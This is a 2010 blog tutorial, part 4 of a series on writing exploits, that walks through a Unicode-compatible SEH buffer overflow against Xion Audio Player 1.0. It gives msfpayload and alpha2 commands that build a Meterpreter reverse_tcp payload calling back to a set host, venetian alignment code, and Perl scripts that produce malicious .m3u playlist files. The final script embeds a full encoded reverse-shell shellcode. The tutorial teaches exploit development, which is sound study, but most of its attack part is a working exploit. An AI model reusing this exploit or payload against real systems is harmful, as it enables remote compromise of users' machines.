jump to navigation

Tutorial write an exploit part 4 Unicode November 29, 2010

Posted by michelemanzotti in manzotti.eu, Tutorial.
trackback


– INTRODUCTION
– OVERWRITE IN UNICODE COMPATIBLE
– SHELLCODE
– VENIETAN CODE
– JUMP EXAMPLE
– SEH EXAMPLE

INTRODUCTION
When you are looking for a vulnerability in an application it could be possible that after running the fuzzer eip or seh shows a strange and different address 0x00410041 from the expected sequence of “A” 0x41414141.

Actually if you control better the two addresses you can immediately realize a correlation: two zeros “00” have been added among “A” bytes.
So, since the application was developed with a different encoding compared to the traditional ASCII: the Unicode, it needs to use different techniques from those described so far in order to write a working exploit.

However, even if the application has been written in Unicode the general idea to make a jump on the shellcode when you owned the eip it’s still the same. The techniques described in the previous tutorials would be fine only if the addresses which will be crafted are Unicode compatible.

OVERWRITE IN UNICODE COMPATIBLE
The main problem in this scenario is not to be able to use any available address but unicode compatible only. Indeed, It’s essential to use addresses which still work when they are converted in Unicode. For example, when you write an address as 0xAABB it will be encoded in 0x00AA00BB and it’s essential that it’s still valid. Moreover, it’s not true that any byte will be translated in Unicode by adding a prefix of null byte 00 to original byte. In fact, for byte from 0x00 and 0x7f a null byte will be added instead of byte > 7f they will be translated in a total different way. In this scenario finding addresses which are Unicode compliant and responsive to our needs it’s difficult enough, but here is where the game gets interesting!

Let’s assume that you have found an address Unicode compatible which meets our need: it has two bytes < 7f and so the encoding doesn’t envolve any change except for the null byte. Moreover let’s assume that address translated in Unicode points to a jump/call instruction to end up our shellcode. In addition it’s essential the jump/call will not cause any change in the stack and in the registers so our exploit takes effects. The same thing happens in the case of SEH: we have to overwrite the nseh and seh address with Unicode addresses compatibles which points to ppr instruction and then a short jump instrution to reach our shellcode.

We will see later how you can quickly find those addresses Unicode compatible.

SHELLCODE
Now let’s concentrate to write a shellcode and let’s assume to be in the first memory location of shellcode. Obviously you can not put the shellcode as Metasploit creates it because then it will accordingly be encoded in Unicode and then it will not work. So you need to write shellcode compatible with Unicode so that the encoding process does not alter the shellocode and is properly executed. To do this there are several techniques. The main ones are two. Both are made by changing the code in-line and then running the shellcode reproduced. These techniques require only one of the registers to point at the beginning of the decoder + shellcode, and the original shellcode will be reassembled in place.

1) alpha2 (SkyLined) is a tool which allows us to encode the shellcode in Unicode compatible:

msfpayload windows/meterpreter/reverse_tcp R > /pentest/exploits/runcalc.raw
alpha2 eax --unicode --uppercase < /pentest/exploits/runcalc.raw

2) Metasploit:

msfpayload windows/meterpreter/reverse_tcp R | msfencode -e x86/alpha_mixed -t raw | msfencode -e x86/unicode_upper BufferRegister=EAX -t perl

VENETIAN CODE
However to run the shellcode you need to reach it in other words the decoder needs to have a register that points at itself. To do this you use a technique called venetian code.

Let’s assume that you want to put ebp+300 bytes into eax then make a jump to eax because the shellcode is right in that address. So it’s necessary to write some instructions in assembly as you are in an exploit ASCII environment and then apply the venetian shellcode technique to be unicode compatible.

Assembly instructions to make a ebp eax +300 in eax and make a jump to eax are:

push ebp            ; put the address at ebp on the stack
pop eax             ; get address of ebp back from the stack and put it in eax
add eax,11001400    ; add 11001400 to eax
sub eax,11001100    ; subtract 11001100 from eax. Result = eax+300

push    eax
ret

That translate in opcode are:

55              push    ebp
58              pop     eax
0500140011      add     eax,offset XXXX+0x1400 (11001400)
2d00110011      sub     eax,offset XXXX+0x1100 (11001100)

50    ;push    eax
c3    ;ret

Writing in venetian code means to add further instructions so that the null bytes added during the encoding phase aren’t going to alter the stack/register and they are going to be as plain nops:

00 6E 00:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh

Then if you add the byte x6e in Unicode it will be x006e00 which will not cause any kind of damage to the stack/registers.

There are some further instructions that would work as well (62, 6d, and so on).

So the jump will be:

my $align="x55";                #push ebp
$align=$align."x6e";            #align
$align=$align."x58";            #pop eax
$align=$align."x6e";            #align
$align=$align."x05x14x11";    #add eax,0x11001400
$align=$align."x6e";            #align
$align=$align."x2dx11x11";    #sub eax,0x11001100
$align=$align."x6e";            #align

my $jump = "x50";  #push eax
$jump=$jump."x6d"; #nop/align
$jump=$jump."xc3"; #ret

However, even if you add 100 bytes to eax register unfortunately the shellcode will not be found after exactly 100 bytes.
So you need to modify one of the register and use some padding to put the shellcode exactly where it needs to be. In the end when the jump is made the eax points at the decoder (of the shellcode).

We will see better with the SEH example.

JUMP EXAMPLE
Let’s assume that you have found an address that will make the jump (to esp for example). Let’s assume that the address is 0x005E0018. This address does not contain characters that have a hex value > 7f. So the address should be fine.
So instead of overwriting EIP with pack(‘V’,0x005E0018), you have to overwrite EIP with 5E 18, because you are in Unicode environment. Unicode adds null bytes in front of 5E, and between 5E and 18, so EIP will be overwritten with 005e0018:

my $junk="A" x 500;
my $ret="x18x5e";
my $payload=$junk.$ret;

Now you have to calculate the offset in the same way of the tutorial 1 and overwrite the eip with the address which points to the jump. In the end you have to write shellcode in Unicode compatible.

SEH EXAMPLE
To write an Unicode exploit compatible under Win7 which exploits the SEH technique that we have seen in tutorial 3, we’ll use Xion Audio Player vers. 1.0 build 121, a simple music player.

As first step you check that the tool after the bof allows you to exploit the SEH technique. Let’s attach the application to Ollydbg or Immunity Debbuger and run the binary. Then right-click on the gui, choose “playlist” and go to “File” – “Load Playlist” and load the file generated by the following script:

my $crash = "A"x5000;
open(myfile,'>DragonR.m3u');
print myfile $crash;
print "[+] DragonR.m3u Createdn";

After that the application is crashed you check the SEH address on “View” – “SEH chain”:

The address is 00410041 and it means that the application is Unicode type:

Now as in a normal exploit you have to calculate the offset. Let’s generate the offset with Metasploit script and you insert it the code. After that we leave the application to crash and you check under the debugger what is happened:

my $crash = "Aa0Aa1Aa2Aa...";
open(myfile,'>DragonR2.m3u');
print myfile $crash;
print "[+] DragonR.m3u Createdn";

So with Ollydbg you go to “View SEH” and copy the address 0012F254:

Dopo andiamo clickiamo su “Go to expression”, incolliamo l’indirizzo 0012F254 appena trovato, e controlliamo il dump ( tasto destro “Follow in dump”):

After that you click on “Go expression” and paste the address just found and check the dump (right click and “Follow in dump”):

Since the Unicode adds “00” and we are in little endian environment, in order to calcUlate the offset you need to delete the “00” and read the address on the contrary 0x69413069. So the offset will be of 241 bytes (in my case):

root@bt:~# pattern_offset 0x69413069 5000
241

In order to have a verification of our calculus we can immediately overwrite 241 bytes the seh with “CC” and the nseh with “BB”:

my $totalsize=5000;
my $junk = "A" x 241;
my $nseh="BB";
my $seh="CC";
my $morestuff="D" x (5000-length($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

open(myfile,'>corelantest.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytesn";

Let’s run the application again and check that our calculus about offset are right both into dump:

and into stack:

Great! The nseh has been overwritten by the “B” and the seh by “C” just like we wanted. Now just like in an exploit seh type you need to overwrite a location which points to a pop pop ret. As we are in Unicode environment this address must be Unicode compatible. To do this you’ll use a script for Immunity Debbuger called pvefindaddr
After you have installed the plugin let’s open Immunity Debugger and load xion.exe in the debugger. Run the application, go to the playlist dialog, select “File”, “Load Playlist” but don’t load the playlist file. Then in the console of Immunity Debugger you run the plugin:

!pvefindaddr p2

Pvefindaddr will write in a file, ppr2.txt, all pop pop ret Unicode compatible:

Now you can replace the “CC” in the exploit with the ppr unicode compatible address 00450015 just found and check with a breakpoint if the application reaches that address or not:

my $totalsize=5000;
my $junk = "A" x 241;
my $nseh="x41x41";  #nseh -> 00410041
my $seh="x15x45";   #put 00450015 in SE Handler
my $morestuff="D" x (5000-length($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

open(myfile,'>unicode2.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytesn";

If you run the application you notice that the pop pop ret is reached:

After that you can see that the eip points to the nseh:

Then if you check the dump of 0012F254 address you notice that the shellcode “D” is immediately next the seh and nseh address:

So you need a way to reach the shellcode. In a common seh exploit a short jump “xebx06x90x90” is sufficient but you are in Unicode so you need some safe instructions popad + nop align (such as NOPs), that will allow you to align the null bytes without doing any harm to the registers or instructions:

my $totalsize=5000;
my $junk = "A" x 241;
my $nseh="x61x62";  #nseh -> popad + nop/align
my $seh="x15x45";   #put 00450015 in SE Handler
my $morestuff="D" x (5000-length($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

open(myfile,'>unicode4.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytesn";

First you set a breakpoint to 00450015 and check what happens:

As you can see from the next picture you have reached the target because you have overwritten the SE structure, crafted the eip with a pop pop ret and simulated a short jump with popad instruction:

Now the challenge is to write a working exploit. You can not put the encoded shellcode here, because the decoder needs to have a register that points at itself. If you look at the current register values you can see there are a lot of registers that point almost at the current location but none of them points directly at the current location 0012F25D:

So you need to modify one of the registers, and use some padding to put the shellcode exactly where it needs to be.

But before you have to generate a shellcode which uses the register eax with alpha2.
What you need to do is to point eax at the location that points at the first byte of our decoder (encoded shellcode) and then jump to eax:

root@bt:/pentest/exploits/encoder# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.6 R > reverse_tcp.raw
root@bt:/pentest/exploits/encoder# ./alpha2 eax --unicode --uppercase < reverse_tcp.raw
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLZHDIM0KPKP304IYUP19BRDTK0RNP4K1BLL4K22N4TKBRNHLOVWOZO601KONQWPVLOLQQCLKRNLO091HOLMKQXGK2ZP1BQG4KQBLPTKOROLKQJ0TKOP48DEGPT4OZKQHPPPTKQ8MHTKR8MPKQ8SK3OLPIDKNTTKKQ8VP1KOP17PFLY18OLMKQXGNXK03EJTKSSMKHOKSMMTD59RPX4KB8O4M1J336TKLLPK4KPXMLKQZ3TKKT4KM1XPTIOTMTMTQKQKQQQIQJR1KOYPR8QOPZDKMBZKCVQMQXOCNRKPM0QXRW3COBQOPTQXPLCGO6M7KOXUVXF0KQKPM0O9WTPTPP38NISP2KM0KO9EPP20B020OPPPOPPPQX9ZLOIO9PKOYE672JM5BH7PUXKQLFBHLBM0LQ1LU9K6QZLPPVR7QXTYEU44S1KO9ETEWPBTLLKOPNLHRUZL2HZP7E72PVKOXUQZKPQZKTPVPWQXLBHYWXQOKOJ54KNVRJOPS8M0LPM0KPQFQZM01XPX5T1C9UKOXUDSPSBJKP0VR31GQXM2YI8HQOKO8UKQI3MY96U5KFBUJLGSKZA

Later you have a look to the registers you can put ebp in eax and then add a small number of bytes so you jump over the code that is needed to point eax to the decoder and jump to it.

So the idea is to put ebp in eax and add 100 bytes so that the eax will point to 0012F354:
Current EBP = 0012F254 + 100 Bytes = 0012F354:
In this way the ebp will point to D:

In order to put ebp+100 into eax, and to jump to eax, you need the following code:

push ebp
pop eax
add eax,0x11001400
sub eax,0x11001300

push eax
ret

After applying the venetian shellcode technique the code will be :

my $preparestuff="D";   #we need the first D
$preparestuff=$preparestuff."x6e";  #nop/align
$preparestuff=$preparestuff."x55";  #push ebp
$preparestuff=$preparestuff."x6e";  #nop/align
$preparestuff=$preparestuff."x58";  #pop eax
$preparestuff=$preparestuff."x6e";  #pop/align
$preparestuff=$preparestuff."x05x14x11";   #add eax,0x11001400
$preparestuff=$preparestuff."x6e";  #pop/align
$preparestuff=$preparestuff."x2dx13x11";   #sub eax,0x11001300
$preparestuff=$preparestuff."x6e";  #pop/align

So the jump will be:

my $totalsize=5000;
my $junk = "A" x 241;
my $nseh="x61x62";  #nseh -> popad + nop/align
my $seh="x15x45";   #put 00450015 in SE Handler
my $preparestuff="D";   #we need the first D

#put ebp in eax and then add 100 bytes
$preparestuff=$preparestuff."x6e";  #nop/align
$preparestuff=$preparestuff."x55";  #push ebp
$preparestuff=$preparestuff."x6e";  #nop/align
$preparestuff=$preparestuff."x58";  #pop eax
$preparestuff=$preparestuff."x6e";  #pop/align
$preparestuff=$preparestuff."x05x14x11";   #add eax,0x11001400
$preparestuff=$preparestuff."x6e";  #pop/align
$preparestuff=$preparestuff."x2dx13x11";   #sub eax,0x11001300
$preparestuff=$preparestuff."x6e";  #pop/align

my $jump = "x50";  #push eax
$jump=$jump."x6d"; #nop/align
$jump=$jump."xc3"; #ret

my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$jump));

$payload=$junk.$nseh.$seh.$preparestuff.$jump.$morestuff;

open(myfile,'>unicode5.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytesn";

Let’s check with the dubugger what happens.
After that you have to run the application, check the value of eax before the jump:

The eax points to 0012F354 address where there are “D” and where it will be the beginning of the shellcode. So it is necessary to calculate the right offset to add the right padding.

Therefore:
0012F354 – 0012f27c = 0xD8 = 216 / 2 = 108 – 1 = 107

216 / 2 because the Unicode adds the null bytes “00”, one for each byte added. So you need to divide by half. -1 because there is a “D” at the beginning of venetian code used to align the code. So the final exploit will be:

my $totalsize=5000;
my $junk = "A" x 241;
my $nseh="x61x62";  #nseh -> popad + nop/align
my $seh="x15x45";   #put 00450015 in SE Handler
my $preparestuff="D";   #we need the first D

#put ebp in eax and then add 100 bytes
$preparestuff=$preparestuff."x6e";  #nop/align
$preparestuff=$preparestuff."x55";  #push ebp
$preparestuff=$preparestuff."x6e";  #nop/align
$preparestuff=$preparestuff."x58";  #pop eax
$preparestuff=$preparestuff."x6e";  #pop/align
$preparestuff=$preparestuff."x05x14x11";   #add eax,0x11001400
$preparestuff=$preparestuff."x6e";  #pop/align
$preparestuff=$preparestuff."x2dx13x11";   #sub eax,0x11001300
$preparestuff=$preparestuff."x6e";  #pop/align

my $jump = "x50";  #push eax
$jump=$jump."x6d"; #nop/align
$jump=$jump."xc3"; #ret

my $shellcode="PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLK83YKPKPM01PU99UNQ8RS4DKPRNP4K0RLLTKR2N4TK2RMXLOWGPJMVP1KOP17PFLOL1Q3LLBNLMPY1XOLMM17WK2ZPR2R7DKR2LPDKOROLKQHPDKQ0SHU57PRTOZKQXPPPDKQ8LXTKPXO0M1J3K3OLQ94KNTTKKQZ6NQKONQ7PVLWQHOLMKQGW08YP2UJTM3SML8OKSMMTBUK2QHTKPXMTKQJ31V4KLL0KDK0XMLKQXSDKM4TKKQXP3Y14O4O4QKQKS11IQJB1KOK0PXQOQJDKN2JK561M38NS02M0KPQXRWSC02QOPT1X0LRWMVLGKOHU7H4PM1M0KPMYXDB40PQXMYSP2KKPKOJ50PPPB0PPOPB0OP0PS89ZLO9O9PKO8UUG2JKUS86LN0LO3SQXKRM0LQ1LU9YV2JLPPV0WQX69W5T4QQKOHU3UWPT4LLKOPNM845ZLC8L0H5VB1FKO9E2JM0BJKTQFQGC8KR8YWXQOKOIETKNVQZ101XM0LPKPKP26RJKP2HQH6DQCYUKOHUUCPS2JKPPVR3PW1XM2J9WXQOKOXUM17SMYY655KFD5ZLWSKZA";
my $morestuff= "D" x 107;
my $morestuffagain="E" x (5000-length($junk.$nseh.$seh.$preparestuff.$jump.$shellcode.$morestuff));

$payload=$junk.$nseh.$seh.$preparestuff.$jump.$morestuff.$shellcode.$morestuffagain;

open(myfile,'>unicode6.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytesn";

Pwned!

Here there is a video demonstration:

See you
Michele `m7x` Manzotti

Advertisements

Comments»

1. business presentation coaching - January 22, 2013

Truly pleased with your manner of publishing in actual fact,
a little something informs me you may be a master!

2. Leoma - May 18, 2013

Wow, that’s what I was looking for, what a stuff! present here at this webpage, thanks admin of this site.


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: